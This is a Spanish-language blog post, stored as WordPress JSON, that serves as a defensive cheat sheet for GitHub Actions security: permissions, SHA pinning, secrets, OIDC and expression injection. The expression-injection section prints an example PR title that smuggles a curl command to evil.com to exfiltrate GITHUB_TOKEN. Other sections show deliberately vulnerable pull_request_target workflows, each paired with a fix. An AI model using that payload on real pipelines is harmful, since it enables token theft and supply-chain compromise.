{"id":611,"date":"2026-03-24T08:56:54","date_gmt":"2026-03-24T07:56:54","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=611"},"modified":"2026-03-24T18:35:48","modified_gmt":"2026-03-24T17:35:48","slug":"github-actions-security-cheat-sheet","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-cheat-sheet\/","title":{"rendered":"Cheat Sheet de Seguridad de GitHub Actions: Permisos, Pinning, Secretos y OIDC"},"content":{"rendered":"<h2>1. Permisos \u2014 Principio de M\u00ednimo Privilegio<\/h2>\n<p>El cambio de mayor impacto que puedes hacer en cualquier workflow de GitHub Actions es restringir los permisos. Por defecto, <code>GITHUB_TOKEN<\/code> tiene <strong>acceso de lectura y escritura<\/strong> a la mayor\u00eda de los scopes. Anula eso inmediatamente.<\/p>\n<h3>Permisos de Solo Lectura por Defecto (Nivel Superior)<\/h3>\n<p>Coloca esto en la <strong>parte superior de cada archivo de workflow<\/strong> para que solo lectura sea el valor por defecto para todos los jobs:<\/p>\n<pre><code class=\"language-yaml\"># .github\/workflows\/ci.yml\nname: CI\non: [push, pull_request]\n\npermissions: read-all\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4<\/code><\/pre>\n<h3>Permisos Vac\u00edos (Acceso Cero)<\/h3>\n<p>Para jobs que nunca interact\u00faan con las APIs de GitHub ni con el repositorio, elimina todos los permisos por completo:<\/p>\n<pre><code class=\"language-yaml\">jobs:\n  lint:\n    runs-on: ubuntu-latest\n    permissions: {}\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm run lint<\/code><\/pre>\n<p><strong>Por qu\u00e9 funciona:<\/strong> <code>actions\/checkout<\/code> usa el token para repos privados pero recurre a un clone an\u00f3nimo para los p\u00fablicos. Si tu repo es p\u00fablico, <code>permissions: {}<\/code> es seguro para el checkout.<\/p>\n<h3>Recetas de Permisos por Job<\/h3>\n<p>Otorga solo lo que cada job necesita:<\/p>\n<pre><code class=\"language-yaml\"># Solo checkout (repo privado)\njobs:\n  test:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n# Desplegar en GitHub Pages\njobs:\n  deploy-pages:\n    permissions:\n      pages: write\n      id-token: write\n    runs-on: ubuntu-latest\n\n# Push a GitHub Container Registry (GHCR)\njobs:\n  push-image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-latest\n\n# Crear un GitHub Release\njobs:\n  release:\n    permissions:\n      contents: write\n    runs-on: ubuntu-latest\n\n# Comentar en un Pull Request\njobs:\n  comment:\n    permissions:\n      pull-requests: write\n    runs-on: ubuntu-latest<\/code><\/pre>\n<p><strong>Regla general:<\/strong> Comienza con <code>permissions: {}<\/code> y a\u00f1ade scopes uno a la vez hasta que el job pase. Nunca dejes los permisos de lectura-escritura por defecto.<\/p>\n<h2>2. Pinning de Actions \u2014 Deja de Usar Tags<\/h2>\n<p>Los tags como <code>@v4<\/code> son mutables. Un atacante que comprometa una action popular puede mover el tag a un commit malicioso. <strong>Fija cada action de terceros a un SHA completo.<\/strong><\/p>\n<h3>Pinned vs. Sin Pinning<\/h3>\n<pre><code class=\"language-yaml\"># PELIGROSO \u2014 el tag puede moverse a cualquier commit\n- uses: actions\/checkout@v4\n\n# SEGURO \u2014 referencia de commit inmutable\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1<\/code><\/pre>\n<p>El comentario al final preserva la legibilidad mientras el SHA bloquea el c\u00f3digo exacto que auditas.<\/p>\n<h3>Encontrar el SHA de Cualquier Action<\/h3>\n<pre><code class=\"language-bash\"># Obtener el SHA completo para un tag espec\u00edfico\ngit ls-remote --tags https:\/\/github.com\/actions\/checkout.git v4.1.1\n\n# O usar la API de GitHub\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4.1.1 --jq '.object.sha'<\/code><\/pre>\n<h3>Automatizar Actualizaciones con Dependabot<\/h3>\n<p>Fijar por SHA no significa dejar de actualizar. Deja que Dependabot proponga actualizaciones de versi\u00f3n autom\u00e1ticamente:<\/p>\n<pre><code class=\"language-yaml\"># .github\/dependabot.yml\nversion: 2\nupdates:\n  - package-ecosystem: github-actions\n    directory: \"\/\"\n    schedule:\n      interval: weekly\n    commit-message:\n      prefix: \"ci\"\n    reviewers:\n      - \"your-org\/security-team\"\n    labels:\n      - \"dependencies\"\n      - \"ci\"<\/code><\/pre>\n<p>Dependabot entiende los SHA pins. Actualizar\u00e1 el SHA <em>y<\/em> el comentario del tag en un solo PR.<\/p>\n<h2>3. Gesti\u00f3n de Secretos<\/h2>\n<p>GitHub ofrece tres \u00e1mbitos de secretos. Elige el correcto para minimizar el radio de impacto.<\/p>\n<h3>Comparaci\u00f3n de \u00c1mbitos de Secretos<\/h3>\n<table>\n<thead>\n<tr>\n<th>\u00c1mbito<\/th>\n<th>Visibilidad<\/th>\n<th>Ideal Para<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Repositorio<\/strong><\/td>\n<td>Todos los workflows en un repo<\/td>\n<td>API keys y tokens espec\u00edficos del repo<\/td>\n<\/tr>\n<tr>\n<td><strong>Environment<\/strong><\/td>\n<td>Solo jobs que apuntan a ese environment<\/td>\n<td>Credenciales de producci\u00f3n, deploy keys<\/td>\n<\/tr>\n<tr>\n<td><strong>Organizaci\u00f3n<\/strong><\/td>\n<td>Repos seleccionados en toda la org<\/td>\n<td>Cuentas de servicio compartidas, credenciales de registro<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Reglas de Protecci\u00f3n de Environments<\/h3>\n<p>Los environments te permiten proteger despliegues detr\u00e1s de aprobaciones, temporizadores de espera y restricciones de rama:<\/p>\n<pre><code class=\"language-yaml\">jobs:\n  deploy-production:\n    runs-on: ubuntu-latest\n    environment:\n      name: production\n      url: https:\/\/app.example.com\n    permissions:\n      id-token: write\n      contents: read\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n      - name: Deploy\n        run: .\/deploy.sh\n        env:\n          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}<\/code><\/pre>\n<p>Luego configura el environment <code>production<\/code> en <strong>Settings \u2192 Environments<\/strong> con:<\/p>\n<ul>\n<li>Revisores requeridos (al menos 1)<\/li>\n<li>Temporizador de espera (ej., 5 minutos)<\/li>\n<li>Restricci\u00f3n de rama de despliegue: solo <code>main<\/code><\/li>\n<\/ul>\n<h3>La Zona de Peligro de pull_request vs pull_request_target<\/h3>\n<p>Este es uno de los malentendidos m\u00e1s peligrosos en GitHub Actions:<\/p>\n<table>\n<thead>\n<tr>\n<th>Trigger<\/th>\n<th>C\u00f3digo que se ejecuta<\/th>\n<th>\u00bfSecretos disponibles?<\/th>\n<th>Riesgo<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>pull_request<\/code><\/td>\n<td>Commit de merge del PR<\/td>\n<td>No (forks)<\/td>\n<td>Bajo<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request_target<\/code><\/td>\n<td>Rama base<\/td>\n<td><strong>S\u00ed<\/strong><\/td>\n<td><strong>Cr\u00edtico si haces checkout del c\u00f3digo del PR<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Nunca hagas esto:<\/strong><\/p>\n<pre><code class=\"language-yaml\"># VULNERABILIDAD CR\u00cdTICA \u2014 secretos expuestos al c\u00f3digo del PR del fork\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Hace checkout de c\u00f3digo NO CONFIABLE del fork\n      - run: .\/build.sh  # Ejecuta c\u00f3digo controlado por el atacante CON secretos<\/code><\/pre>\n<p>Si necesitas <code>pull_request_target<\/code>, nunca hagas checkout del head del PR. Solo \u00fasalo para etiquetar o comentar sobre el c\u00f3digo de la rama base.<\/p>\n<h2>4. OIDC \/ Workload Identity Federation<\/h2>\n<p>Deja de almacenar credenciales de nube de larga duraci\u00f3n como secretos. Usa OpenID Connect para obtener tokens de corta duraci\u00f3n directamente de tu proveedor de nube.<\/p>\n<p><strong>Bloque de permisos requerido para todos los workflows OIDC:<\/strong><\/p>\n<pre><code class=\"language-yaml\">permissions:\n  id-token: write   # Requerido para solicitar el JWT de OIDC\n  contents: read    # Requerido para actions\/checkout<\/code><\/pre>\n<h3>AWS \u2014 Configurar OIDC<\/h3>\n<pre><code class=\"language-yaml\">- name: Configure AWS Credentials\n  uses: aws-actions\/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2\n  with:\n    role-to-assume: arn:aws:iam::123456789012:role\/GitHubActions\n    aws-region: us-east-1<\/code><\/pre>\n<p><strong>Plantilla de Trust Policy de AWS:<\/strong><\/p>\n<pre><code class=\"language-json\">{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::123456789012:oidc-provider\/token.actions.githubusercontent.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"token.actions.githubusercontent.com:aud\": \"sts.amazonaws.com\"\n        },\n        \"StringLike\": {\n          \"token.actions.githubusercontent.com:sub\": \"repo:your-org\/your-repo:ref:refs\/heads\/main\"\n        }\n      }\n    }\n  ]\n}<\/code><\/pre>\n<h3>GCP \u2014 Workload Identity Federation<\/h3>\n<pre><code class=\"language-yaml\">- name: Authenticate to Google Cloud\n  uses: google-github-actions\/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3\n  with:\n    workload_identity_provider: projects\/123456\/locations\/global\/workloadIdentityPools\/github\/providers\/github\n    service_account: github-actions@my-project.iam.gserviceaccount.com<\/code><\/pre>\n<h3>Azure \u2014 Credenciales Federadas<\/h3>\n<pre><code class=\"language-yaml\">- name: Azure Login\n  uses: azure\/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1\n  with:\n    client-id: ${{ secrets.AZURE_CLIENT_ID }}\n    tenant-id: ${{ secrets.AZURE_TENANT_ID }}\n    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}<\/code><\/pre>\n<p><strong>Beneficio clave:<\/strong> No se almacenan credenciales est\u00e1ticas en ning\u00fan lugar. Los tokens expiran en minutos. La trust policy restringe qu\u00e9 repos, ramas y environments pueden asumir el rol.<\/p>\n<h2>5. Triggers de Workflows \u2014 Seguros vs. Peligrosos<\/h2>\n<p>No todos los triggers son iguales. Algunos ejecutan c\u00f3digo de fuentes no confiables u otorgan permisos elevados.<\/p>\n<h3>Tabla de Seguridad de Triggers<\/h3>\n<table>\n<thead>\n<tr>\n<th>Trigger<\/th>\n<th>Nivel de Riesgo<\/th>\n<th>Notas<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>push<\/code><\/td>\n<td>Bajo<\/td>\n<td>Solo ejecuta c\u00f3digo ya fusionado<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request<\/code><\/td>\n<td>Bajo<\/td>\n<td>Sin secretos para forks<\/td>\n<\/tr>\n<tr>\n<td><code>schedule<\/code><\/td>\n<td>Bajo<\/td>\n<td>Se ejecuta en la rama por defecto<\/td>\n<\/tr>\n<tr>\n<td><code>workflow_dispatch<\/code><\/td>\n<td>Medio<\/td>\n<td>Trigger manual \u2014 valida los inputs<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request_target<\/code><\/td>\n<td><strong>Alto<\/strong><\/td>\n<td>Secretos disponibles \u2014 ver Secci\u00f3n 3<\/td>\n<\/tr>\n<tr>\n<td><code>issue_comment<\/code><\/td>\n<td><strong>Alto<\/strong><\/td>\n<td>Cualquier comentarista puede activarlo \u2014 protege con verificaciones de permisos<\/td>\n<\/tr>\n<tr>\n<td><code>workflow_run<\/code><\/td>\n<td><strong>Alto<\/strong><\/td>\n<td>Hereda contexto elevado del workflow que lo activ\u00f3<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Filtrado por Rama y Ruta<\/h3>\n<p>Reduce ejecuciones innecesarias y limita la exposici\u00f3n:<\/p>\n<pre><code class=\"language-yaml\">on:\n  push:\n    branches:\n      - main\n      - 'releases\/**'\n    paths:\n      - 'src\/**'\n      - 'package.json'\n    paths-ignore:\n      - 'docs\/**'\n      - '*.md'<\/code><\/pre>\n<h3>Control de Concurrencia<\/h3>\n<p>Evita que m\u00faltiples despliegues compitan entre s\u00ed:<\/p>\n<pre><code class=\"language-yaml\">concurrency:\n  group: deploy-${{ github.ref }}\n  cancel-in-progress: false  # No canceles despliegues en curso\n\n# Para builds de PR donde cancelar ejecuciones anteriores es seguro:\nconcurrency:\n  group: ci-${{ github.event.pull_request.number || github.sha }}\n  cancel-in-progress: true<\/code><\/pre>\n<h2>6. Seguridad de Actions de Terceros<\/h2>\n<p>Cada l\u00ednea <code>uses:<\/code> en tu workflow es una dependencia de la cadena de suministro. Tr\u00e1tala como cualquier otra dependencia.<\/p>\n<h3>Lista de Verificaci\u00f3n de Auditor\u00eda<\/h3>\n<p>Antes de adoptar cualquier action de terceros, verifica:<\/p>\n<ul>\n<li><strong>Editor:<\/strong> \u00bfEs de un creador verificado o una organizaci\u00f3n conocida (ej., <code>actions\/*<\/code>, <code>aws-actions\/*<\/code>)?<\/li>\n<li><strong>C\u00f3digo fuente:<\/strong> \u00bfHas le\u00eddo el <code>action.yml<\/code> y el script de entrada?<\/li>\n<li><strong>Permisos:<\/strong> \u00bfSolicita m\u00e1s de lo que necesita?<\/li>\n<li><strong>Estrellas \/ uso:<\/strong> Las actions con poco uso son de mayor riesgo.<\/li>\n<li><strong>Mantenimiento:<\/strong> \u00bfCu\u00e1ndo fue el \u00faltimo commit? \u00bfSe atienden los issues?<\/li>\n<li><strong>Dependencias:<\/strong> \u00bfTrae un \u00e1rbol masivo de <code>node_modules<\/code>?<\/li>\n<\/ul>\n<h3>Haz Fork de Actions Cr\u00edticas<\/h3>\n<p>Para actions que se ejecutan en pipelines sensibles, haz fork a tu organizaci\u00f3n:<\/p>\n<pre><code class=\"language-yaml\"># En lugar de:\n- uses: some-random-org\/deploy-action@v2\n\n# Haz fork y fija:\n- uses: your-org\/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2<\/code><\/pre>\n<p>Configura un workflow programado para sincronizar tu fork y revisar las diferencias antes de fusionar cambios upstream.<\/p>\n<h3>CODEOWNERS para Archivos de Workflow<\/h3>\n<p>Requiere revisi\u00f3n del equipo de seguridad para cualquier cambio en workflows:<\/p>\n<pre><code class=\"language-bash\"># .github\/CODEOWNERS\n.github\/workflows\/   @your-org\/security-team\n.github\/actions\/      @your-org\/security-team<\/code><\/pre>\n<p>Combina con reglas de protecci\u00f3n de rama que requieran aprobaci\u00f3n de CODEOWNERS para hacerlo aplicable.<\/p>\n<h2>7. Prevenci\u00f3n de Inyecci\u00f3n de Expresiones<\/h2>\n<p>Las expresiones de GitHub Actions (<code>${{ }}<\/code>) se expanden como plantilla <em>antes<\/em> de que el shell las vea. Si un atacante controla el valor, controla tu shell.<\/p>\n<h3>El Patr\u00f3n Peligroso<\/h3>\n<pre><code class=\"language-yaml\"># VULNERABLE \u2014 el atacante controla el t\u00edtulo del PR\n- name: Echo PR title\n  run: echo \"PR: ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n<p>Un t\u00edtulo de PR malicioso como <code>Fix\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN #<\/code> rompe el echo y exfiltra tu token.<\/p>\n<p><strong>Contextos peligrosos que aceptan entrada del usuario:<\/strong><\/p>\n<ul>\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (nombre de rama desde forks)<\/li>\n<\/ul>\n<h3>La Alternativa Segura \u2014 Variables de Entorno<\/h3>\n<pre><code class=\"language-yaml\"># SEGURO \u2014 el valor se pasa como variable de entorno, no se inyecta en el script\n- name: Echo PR title\n  run: echo \"PR: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}<\/code><\/pre>\n<p>Cuando el valor fluye a trav\u00e9s de una variable de entorno, el shell lo trata como datos, no como c\u00f3digo. Esta es la soluci\u00f3n para <strong>toda<\/strong> inyecci\u00f3n de expresiones.<\/p>\n<h3>Uso Seguro en Condicionales<\/h3>\n<p>Las expresiones en condiciones <code>if:<\/code> son seguras porque son evaluadas por el runtime de Actions, no por el shell:<\/p>\n<pre><code class=\"language-yaml\"># SEGURO \u2014 evaluado por el runtime de Actions, no el shell\n- name: Check label\n  if: contains(github.event.pull_request.labels.*.name, 'deploy')\n  run: echo \"Deploy label found\"<\/code><\/pre>\n<h2>8. Errores Comunes \u2014 Top 5 Con Soluciones<\/h2>\n<h3>Error 1: Permisos de Token por Defecto (Excesivamente Permisivos)<\/h3>\n<pre><code class=\"language-yaml\"># MAL \u2014 lectura-escritura impl\u00edcita en todo\non: push\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps: ...\n\n# CORREGIDO \u2014 solo lectura expl\u00edcita por defecto\non: push\npermissions: read-all\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps: ...<\/code><\/pre>\n<h3>Error 2: Usar Tags Mutables para Actions<\/h3>\n<pre><code class=\"language-yaml\"># MAL\n- uses: actions\/setup-node@v4\n\n# CORREGIDO\n- uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2<\/code><\/pre>\n<h3>Error 3: Credenciales de Nube de Larga Duraci\u00f3n como Secretos<\/h3>\n<pre><code class=\"language-yaml\"># MAL \u2014 claves AWS est\u00e1ticas que nunca expiran\nenv:\n  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}\n  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}\n\n# CORREGIDO \u2014 federaci\u00f3n OIDC, sin credenciales almacenadas\n- uses: aws-actions\/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502\n  with:\n    role-to-assume: arn:aws:iam::123456789012:role\/GitHubActions\n    aws-region: us-east-1<\/code><\/pre>\n<h3>Error 4: Hacer Checkout del C\u00f3digo del PR en pull_request_target<\/h3>\n<pre><code class=\"language-yaml\"># MAL \u2014 ejecuta c\u00f3digo no confiable con secretos\non: pull_request_target\nsteps:\n  - uses: actions\/checkout@v4\n    with:\n      ref: ${{ github.event.pull_request.head.sha }}\n  - run: make build\n\n# CORREGIDO \u2014 usa el trigger pull_request (sin secretos para forks)\non: pull_request\nsteps:\n  - uses: actions\/checkout@v4\n  - run: make build<\/code><\/pre>\n<h3>Error 5: Inyecci\u00f3n de Expresiones v\u00eda run:<\/h3>\n<pre><code class=\"language-yaml\"># MAL \u2014 interpolaci\u00f3n directa de entrada del usuario\n- run: echo \"Issue: ${{ github.event.issue.title }}\"\n\n# CORREGIDO \u2014 pasar a trav\u00e9s de variable de entorno\n- run: echo \"Issue: $ISSUE_TITLE\"\n  env:\n    ISSUE_TITLE: ${{ github.event.issue.title }}<\/code><\/pre>\n<h2>Tarjeta de Referencia R\u00e1pida<\/h2>\n<table>\n<thead>\n<tr>\n<th>Pr\u00e1ctica<\/th>\n<th>Resumen<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Permisos por defecto<\/td>\n<td><code>permissions: read-all<\/code> en la parte superior del workflow<\/td>\n<\/tr>\n<tr>\n<td>Fijar actions<\/td>\n<td>Usa SHA completo de 40 caracteres + comentario del tag<\/td>\n<\/tr>\n<tr>\n<td>Auto-actualizar pins<\/td>\n<td>Dependabot con ecosistema <code>github-actions<\/code><\/td>\n<\/tr>\n<tr>\n<td>Autenticaci\u00f3n en la nube<\/td>\n<td>Federaci\u00f3n OIDC, nunca claves est\u00e1ticas<\/td>\n<\/tr>\n<tr>\n<td>Proteger secretos<\/td>\n<td>Scopes de environment + reglas de protecci\u00f3n<\/td>\n<\/tr>\n<tr>\n<td>Prevenir inyecci\u00f3n<\/td>\n<td>Siempre usa <code>env:<\/code> para valores controlados por el usuario<\/td>\n<\/tr>\n<tr>\n<td>Revisar workflows<\/td>\n<td>CODEOWNERS en <code>.github\/workflows\/<\/code><\/td>\n<\/tr>\n<tr>\n<td>Evitar triggers riesgosos<\/td>\n<td>Evita <code>pull_request_target<\/code> + checkout<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Aplicar incluso la mitad de estas pr\u00e1cticas pone tu pipeline de CI\/CD por delante de la mayor\u00eda de las organizaciones. Comienza con permisos y pinning \u2014 toman cinco minutos y eliminan clases enteras de ataques a la cadena de suministro. Luego trabaja en la federaci\u00f3n OIDC y la prevenci\u00f3n de inyecci\u00f3n de expresiones para cerrar las brechas restantes.<\/p>\n<p>Para pr\u00e1ctica hands-on, explora nuestros <a href=\"https:\/\/secure-pipelines.com\/es\/category\/ci-cd-security\/\">laboratorios de Seguridad CI\/CD<\/a> y las <a href=\"https:\/\/secure-pipelines.com\/es\/category\/github-actions\/\">gu\u00edas de GitHub Actions<\/a> para ver estos patrones aplicados en escenarios del mundo real.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Permisos \u2014 Principio de M\u00ednimo Privilegio El cambio de mayor impacto que puedes hacer en cualquier workflow de GitHub Actions es restringir los permisos. Por defecto, GITHUB_TOKEN tiene acceso de lectura y escritura a la mayor\u00eda de los scopes. Anula eso inmediatamente. Permisos de Solo Lectura por Defecto (Nivel Superior) Coloca esto en la &#8230; <a title=\"Cheat Sheet de Seguridad de GitHub Actions: Permisos, Pinning, Secretos y OIDC\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-cheat-sheet\/\" aria-label=\"Leer m\u00e1s sobre Cheat Sheet de Seguridad de GitHub Actions: Permisos, Pinning, Secretos y OIDC\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,56],"tags":[],"post_folder":[],"class_list":["post-611","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/611","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=611"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/611\/revisions"}],"predecessor-version":[{"id":693,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/611\/revisions\/693"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=611"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}